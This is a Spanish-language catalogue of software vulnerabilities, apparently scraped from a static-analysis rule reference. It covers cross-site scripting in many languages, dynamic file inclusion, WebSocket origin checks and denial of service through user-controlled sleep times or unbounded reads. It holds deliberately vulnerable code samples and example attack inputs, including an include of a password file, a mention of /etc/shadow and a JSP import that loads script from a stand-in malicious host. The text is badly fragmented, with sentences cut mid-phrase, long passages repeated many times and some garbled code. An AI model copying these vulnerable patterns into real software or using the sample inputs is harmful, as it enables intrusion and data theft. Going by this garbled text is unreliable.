, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, desde una solicitud de servlet HTTP y, a continuación, muestra el valor al usuario en la respuesta del servlet.
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url
comienza por javascript:
, el código JavaScript que sigue se ejecuta en el contexto de la página web dentro de WebView.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Example 3
, una fuente externa a la aplicación almacena datos peligrosos en una base de datos u otro almacén de datos y, posteriormente, la aplicación lee los datos peligrosos como datos de confianza y los incluye en el contenido dinámico.myapp://input_to_the_application
) y la invocó. Los datos no fiables de la dirección URL se utilizan para representar el resultado HTML en un componente de UIWebView.
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente desde un esquema de URL personalizado y se reflejan en el contenido de una respuesta de UIWebView. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación de iOS vulnerable, lo que se reflejará en el usuario y que el navegador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL de esquema personalizado que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL construidas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un intruso convence a las víctimas para que visiten una dirección URL que hace referencia a una aplicación vulnerable. Después de que la aplicación refleje el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, desde una solicitud HTTP y la muestra al usuario.
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, de una solicitud HTTP y la muestra al usuario.
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, de una solicitud HTTP y la muestra al usuario.
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.Rack::Request#params()
como se mostró en el Example 1
, se observan los parámetros GET
y POST
, de modo que puede ser vulnerable a diferentes tipos de ataques además de simplemente tener el código malintencionado anexado a la dirección URL.
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField
contiene solo texto alfanumérico estándar. Si el texto en inputTextField
incluye metacaracteres o código fuente, el explorador web puede ejecutar la entrada como código al tiempo que muestra la respuesta HTTP.myapp://input_to_the_application
) y la invocó. Los datos no fiables de la dirección URL se utilizan para representar el resultado HTML en un componente de UIWebView.
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
Example 2
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente desde el componente de la interfaz de usuario controlado por el usuario y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, una fuente externa a la aplicación de destino realiza una solicitud de URL mediante el esquema de URL personalizado de la aplicación de destino, y los datos sin validar de la solicitud de URL se leen posteriormente en la aplicación como datos de confianza y se incluyen en el contenido dinámico.Example 3
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.eid
, a partir de una solicitud HTTP y lo muestra al usuario.
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
eid
contiene solo texto alfanumérico estándar. Si eid
tiene un valor que incluye metacaracteres o código fuente, el explorador web ejecuta el código al tiempo que muestra la respuesta HTTP.
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
Example 1
, este código funciona correctamente cuando los valores de name
presentan un comportamiento correcto, pero no funciona para evitar ataques si no lo presentan. De nuevo, este código puede parecer menos peligroso, ya que el valor de name
se lee de una base de datos con contenido aparentemente administrado por la aplicación. Sin embargo, si el valor de name
se origina desde los datos que administró el usuario, la base de datos puede ser conductora de contenido malintencionado. Sin la validación de entrada adecuada en todos los datos almacenados en la base de datos, un atacante puede ejecutar comandos malintencionados en el explorador web del usuario. Este tipo de ataque, conocido como XSS persistente (o almacenado) es especialmente insidioso porque el direccionamiento indirecto causado por el almacén de datos hace que resulte más difícil identificar la amenaza y aumenta la posibilidad de que el ataque afecte a varios usuarios. XSS tiene su inicio en este formulario con los sitios web que ofrecen un "libro de visitas" a los visitantes. Los usuarios malintencionados incluyen JavaScript en las entradas del libro de visitas y todos los visitantes posteriores a la página del libro de visitas ejecutarían el código malintencionado.Example 1
, los datos se leen directamente de la solicitud HTTP y se reflejan en la respuesta HTTP. Los ataques XSS reflejados se producen cuando un usuario malintencionado hace que un usuario proporcione contenido peligroso a una aplicación web vulnerable, lo que se reflejará en el usuario y que el explorador web ejecutará. El mecanismo más común para la entrega de contenido malintencionado es incluirlo como un parámetro en una dirección URL que se registra públicamente o se envía por correo electrónico directamente a las víctimas. Las direcciones URL creadas de esta manera constituyen el núcleo de muchas tramas de suplantación de identidad, mediante las cuales un usuario malintencionado convence a las víctimas para que visiten una dirección URL que hace referencia a un sitio vulnerable. Después de que el sitio refleja el contenido del atacante al usuario, se ejecuta el contenido y se continúa con la transferencia de información privada, como las cookies que pueden incluir información de la sesión, desde el equipo del usuario hacia el atacante, o se ejecutan otras actividades malintencionadas.Example 2
, la aplicación almacena datos peligrosos en una base de datos o en otro almacén de datos de confianza. Los datos peligrosos posteriormente se vuelven a leer en la aplicación y se incluyen en contenido dinámico. Los ataques XSS persistentes se producen cuando un usuario malintencionado inserta contenido peligroso en un almacén de datos que se lee posteriormente y se incluye en el contenido dinámico. Desde la perspectiva de un usuario malintencionado, el lugar óptimo para insertar contenido malintencionado es un área que se muestra a muchos usuarios o a usuarios particularmente interesantes. Los usuarios interesantes normalmente disponen de privilegios elevados en la aplicación o interactúan con información confidencial y valiosa para el usuario malintencionado. Si uno de estos usuarios ejecuta contenido malintencionado, el usuario malintencionado puede realizar operaciones con privilegios en nombre del usuario o tener acceso a datos confidenciales de este.Origin
, permitirá que cualquier sitio malintencionado suplante al usuario y establezca una conexión WebSocket bidireccional sin que el usuario se dé cuenta.Origin
, permitirá que cualquier sitio malintencionado suplante al usuario y establezca una conexión WebSocket bidireccional sin que el usuario se dé cuenta.
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
, un atacante podría asumir por completo el control de la instrucción "include" dinámica proporcionando un valor malintencionado para includedURL
, lo que provocaría que el programa incluyese un archivo de un sitio externo.web.config
, este se puede procesar como parte de la salida HTML. Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
en la página JSP, comprometiendo así la seguridad del sistema.c:import
para importar un archivo remoto especificado por el usuario en la página JSP actual.
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
habilitada de forma predeterminada, lo que permitía a los usuarios malintencionados sobrescribir fácilmente las variables internas del servidor. A pesar de que al deshabilitar la opción register_globals
se puede limitar la exposición del programa a las vulnerabilidades de inclusión de archivos, estos problemas todavía ocurren en las aplicaciones actuales de PHP. $server_root
definida por la aplicación en una plantilla.
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
está establecido como on
, un atacante podría sobrescribir el valor de $server_root
suministrando $server_root
como parámetro de solicitud, con lo que obtendría el control parcial de la instrucción "include" dinámica.
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
, un atacante podría asumir por completo el control de la instrucción "include" dinámica proporcionando un valor malintencionado para headername
, lo que provocaría que el programa incluyese un archivo de un sitio externo./etc/shadow
, este se puede procesar como parte de la salida HTML. Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter()
utiliza una dirección IP remota (RemoteIpAddress
) como clave de partición al crear una RateLimitPartition:
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
. Si especifica un número grande, un atacante puede bloquear la función Future
indefinidamente.
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
Ejemplo 2: el siguiente código lee una cadena de un archivo zip. Como utiliza el método
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
, leerá una cantidad ilimitada de datos de entrada. Un atacante podría aprovechar este código para provocar una OutOfMemoryException
o consumir una gran cantidad de memoria a fin de que el programa dedique más tiempo a realizar la recopilación de elementos no utilizados o se quede sin memoria durante alguna operación posterior.
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
Ejemplo 2: el código siguiente escribe en un archivo. Dado que se puede escribir y volver a escribir una y otra vez en el archivo hasta que el agente usuario lo considere cerrado, se ven afectados la cuota de disco, el ancho de banda de E/S y los procesos que puedan requerir un análisis del contenido del archivo.
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
